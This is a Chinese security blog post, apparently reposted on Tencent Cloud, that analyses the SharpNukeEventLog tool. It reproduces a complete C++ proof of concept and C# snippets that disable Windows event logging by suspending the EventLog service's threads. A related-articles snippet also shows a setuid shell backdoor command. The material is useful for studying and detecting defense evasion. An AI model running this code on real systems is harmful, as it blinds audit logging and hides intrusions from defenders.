专栏首页鸿鹄实验室从SharpNukeEventLog看日志清除

从SharpNukeEventLog看日志清除

Github上了一个名叫SharpNukeEventLog的项目,目的是在执行敏感操作时不会产生windows日志记录。地址为:

https://github.com/jfmaes/SharpNukeEventLog 本文将从原理的角度简析该工具的原理。

我们平时在进行windows的操作时都会产生对应的windows日志记录,以添加用户为例,

我们会在安全目录下产生6条事件记录,作为蓝队可以着重关注4720、4722、4724这三条日志记录。即使使用一些方法清除日志,也会留下id为1102的清除日志的记录。

而该工具则可以免除该问题,在windows中日志记录是依靠服务来进行生效的,其服务名称为:Windows Event Log

进程名为svchost.exe,我们可以用下面的命令来具体查看是那个进程负责该服务:

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

那我们的2224进程就是负责日志记录的进程,使用process hacker可以清除的看到其服务名及address(wevtsvc.dll)

那我们就可以遍历服务,查找进程,查找线程,查找地址,挂起线程,核心api为

DWORD SuspendThread(
  HANDLE hThread
);

流程如下:

1、使用OpenSCManagerA打开服务管理器

2、使用OpenServiceA打开eventlog服务

3、使用QueryServiceStatusEx查找进程ID

4、遍历进程中的内容,得到线程内容,使用SuspendThread挂起指定线程。

C++版demo,代码来自ired.team

#include <iostream>
#include <Windows.h>
#include <Psapi.h>
#include <TlHelp32.h>
#include <dbghelp.h>
#include <winternl.h>

#pragma comment(lib, "DbgHelp")

using myNtQueryInformationThread = NTSTATUS(NTAPI*)(
  IN HANDLE          ThreadHandle,
  IN THREADINFOCLASS ThreadInformationClass,
  OUT PVOID          ThreadInformation,
  IN ULONG           ThreadInformationLength,
  OUT PULONG         ReturnLength
  );

int main()
{
  HANDLE serviceProcessHandle;
  HANDLE snapshotHandle;
  HANDLE threadHandle;

  HMODULE modules[256] = {};
  SIZE_T modulesSize = sizeof(modules);
  DWORD modulesSizeNeeded = 0;
  DWORD moduleNameSize = 0;
  SIZE_T modulesCount = 0;
  WCHAR remoteModuleName[128] = {};
  HMODULE serviceModule = NULL;
  MODULEINFO serviceModuleInfo = {};
  DWORD_PTR threadStartAddress = 0;
  DWORD bytesNeeded = 0;

  myNtQueryInformationThread NtQueryInformationThread = (myNtQueryInformationThread)(GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationThread"));

  THREADENTRY32 threadEntry;
  threadEntry.dwSize = sizeof(THREADENTRY32);

  SC_HANDLE sc = OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
  SC_HANDLE service = OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);

  SERVICE_STATUS_PROCESS serviceStatusProcess = {};

  # Get PID of svchost.exe that hosts EventLog service
  QueryServiceStatusEx(service, SC_STATUS_PROCESS_INFO, (LPBYTE)&serviceStatusProcess, sizeof(serviceStatusProcess), &bytesNeeded);
  DWORD servicePID = serviceStatusProcess.dwProcessId;

  # Open handle to the svchost.exe
  serviceProcessHandle = OpenProcess(MAXIMUM_ALLOWED, FALSE, servicePID);
  snapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);

  # Get a list of modules loaded by svchost.exe
  EnumProcessModules(serviceProcessHandle, modules, modulesSize, &modulesSizeNeeded);
  modulesCount = modulesSizeNeeded / sizeof(HMODULE);
  for (size_t i = 0; i < modulesCount; i++)
  {
    serviceModule = modules[i];

    # Get loaded module's name
    GetModuleBaseName(serviceProcessHandle, serviceModule, remoteModuleName, sizeof(remoteModuleName));

    if (wcscmp(remoteModuleName, L"wevtsvc.dll") == 0)
    {
      printf("Windows EventLog module %S at %p\n\n", remoteModuleName, serviceModule);
      GetModuleInformation(serviceProcessHandle, serviceModule, &serviceModuleInfo, sizeof(MODULEINFO));
    }
  }

  # Enumerate threads
  Thread32First(snapshotHandle, &threadEntry);
  while (Thread32Next(snapshotHandle, &threadEntry))
  {
    if (threadEntry.th32OwnerProcessID == servicePID)
    {
      threadHandle = OpenThread(MAXIMUM_ALLOWED, FALSE, threadEntry.th32ThreadID);
      NtQueryInformationThread(threadHandle, (THREADINFOCLASS)0x9, &threadStartAddress, sizeof(DWORD_PTR), NULL);
      
      # Check if thread's start address is inside wevtsvc.dll memory range
      if (threadStartAddress >= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll && threadStartAddress <= (DWORD_PTR)serviceModuleInfo.lpBaseOfDll + serviceModuleInfo.SizeOfImage)
{
        printf("Suspending EventLog thread %d with start address %p\n", threadEntry.th32ThreadID, threadStartAddress);

        # Suspend EventLog service thread
        SuspendThread(threadHandle);
        Sleep(2000);
      }
    }
  }

  return 0;
}

现在让我们回到SharpNukeEventLog,其Program.cs为核心代码,STRUCTS.cs为定义的结构体,而win32 api的调用利用的是DInvoke,与C++版本不同的是,其查找进程的方法为直接调用的WMI,这也是C#的优点,核心函数如下:

 public static int GetEventLogPid()
        {
            int pid = 0;
            ManagementObjectSearcher mgmtObjSearcher = new ManagementObjectSearcher("SELECT ProcessId FROM Win32_service WHERE name = \'eventlog\'");
            ManagementObjectCollection eventlogCollectors = mgmtObjSearcher.Get();
            //long live IEnumerables...
            if (eventlogCollectors.Count != 1)
            {
                throw new Exception("there should only be one eventlog collector on the system");
            }
            foreach (ManagementObject eventlogcollector in eventlogCollectors)
            {
                object o = eventlogcollector["ProcessId"];
                pid = Convert.ToInt32(o);
                //pid = Convert.ToUInt32((uint)eventlogcollector["ProcessId"]);
            }
            Console.WriteLine("target found, nuke launched on the eventlog threads of PID: " + pid);
            return pid;
        }

后面的就没什么的不同了,最后使用SuspendThread挂起线程。

 Generic.DynamicAPIInvoke("kernel32.dll", "SuspendThread", typeof(DELEGATES.SuspendThread), ref suspendParams, true);

demo:

参考文章:

https://www.ired.team/offensive-security/defense-evasion/disabling-windows-event-logs-by-suspending-eventlog-service-threads

https://github.com/jfmaes/SharpNukeEventLog

https://artofpwn.com/phant0m-killing-windows-event-log.html

https://zhuanlan.kanxue.com/article-10729.htm

https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread

本文分享自微信公众号 - 鸿鹄实验室(gh_a2210090ba3f),作者:鸿鹄实验室a

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-05-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 日志安全之清除windows 日志

    本来想研究清除 evtx 的事件 id 对应的 ip..暂时没有发现适合编辑 evtx 的脚本代码. 所以文中结尾的 powershell 脚本就出来了

    Jumbo
  • 日志安全之linux清除日志

    我有一个大胆的想法, 替换自己的 ip为随机 ip . 嫁祸给别人.水逆退散 先编写一个生成随机数的函数, 等会儿我们直接调用就行

    Jumbo
  • Oracle RMAN 清除归档日志

          在开发环境及UAT环境经常碰到需要清除归档日志的情形,对于这个问题方法有很多。可以直接使用rm方式清除归档日志,也可以使用find命令来查找符合条件...

    Leshami
  • 清除数据库日志文件

    随着使用,数据库日志会越来越大,直接影响数据库的性能,这时候就需要对数据库的日志进行瘦身了,下面的脚本可以对数据库的日志进行清理(dbname为数据库名,dbn...

    徐大嘴
  • Kafka日志设置和清除策略

    config/log4j.properties中日志的级别设置的是TRACE,在长时间运行过程中产生的日志大小吓人,所以如果没有特殊需求,强烈建议将其更改成IN...

    加米谷大数据
  • 清除过期日志的py脚本

    本篇和大家分享的是一个清除过期日志的python脚本,年后第二篇希望对大家有帮助;

    py3study
  • SQL 2005/SQL 2008 收缩日志 清空删除大日志文件

    SQL2008 的收缩日志 由于SQL2008对文件和日志管理进行了优化,所以以下语句在SQL2005中可以运行但在SQL2008中已经被取消: (SQL20...

    Isaac Zhang
  • ORA-00392 ORA-00312 日志正在清除故障

    Leshami
  • Linux/Unix shell 脚本清除归档日志文件

          对于DEV以及UAT环境,有些时候,数据库需要处于归档模式,但并不需要备份数据库。因此,archive归档日志不停的增长导致磁盘空间被大量耗用。对于...

    Leshami
  • SQL Server 数据库清除日志的方法

    SQLSERVER的数据库日志占用很大的空间,下面提供三种方法用于清除无用的数据库日志文件 方法一: 1、打开查询分析器,输入命令 BACKUP LOG d...

    逸鹏
  • linux 系统留后门方法和清除日志

    1. setuid #cp /bin/sh /tmp/.sh #chmod u+s /tmp/.sh 加上 suid 位到shell上,虽然很简单,但容易...

    赵腰静
  • 零基础入门 33:快捷键清除日志

    很多时候大家在调试期间会有很多很多的日志输出,每次都需要点击Console窗口上的clear来清除日志信息着实麻烦,而且逼格很低,今天给大家带来一篇通过设定自定...

    韩东吉
  • mysql binlog日志自动清理及手动删除

    当开启mysql数据库主从时,会产生大量如mysql-bin.00000* log的文件,这会大量耗费您的硬盘空间。 如:

    王图思睿
  • 自动清理MySQL binlog日志与手动删除的设置

    在一个繁忙的master db server上,MySQL binlog日志文件增长速度很快,如果不定时清除,硬盘空间很快就会被充满。

    EltonZheng
  • 零基础入门 42:更新Unity2017快捷键清除日志

    Hello,之前在零基础入门系列里,有发过关于快捷键清除日志的文章,但是当时的Unity版本是Unity5.5,很多人和我说用起来都还蛮方便,但是随着2017的...

    韩东吉
  • 如何根据日志查看删除的数据(转译)

    原文地址:https://raresql.com/2011/10/22/how-to-recover-deleted-data-from-sql-sever/ ...

    用户1217611
  • 从MySQL源码看日志命令失效的原因

    今天看数据库内核月报,发现一个蛮有意思的问题,就是show binary logs的时候没有任何结果,这个问题的原因很简单,但是分析问题的过程相比是艰辛...

    jeanron100
  • 从攻守日志 看网络江湖的快意恩仇

    安全江湖门派众多,挂马派、钓鱼派、社工派……其中红方和蓝方两派特立独行,不为争夺霸主之位,只为了切磋攻防技艺,常常开展红蓝对决。

    C4rpeDime
  • 日志分析实战之清洗日志小实例7:查看样本数据,保存统计数据到文件

    问题导读 1.如何从所有数据中,抽取样本查看? 2.如何保存结果到hdfs? 3.saveAsTextFile的作用是什么? 上一篇 日志分析实战之清洗...

    用户1410343

扫码关注云+社区

领取腾讯云代金券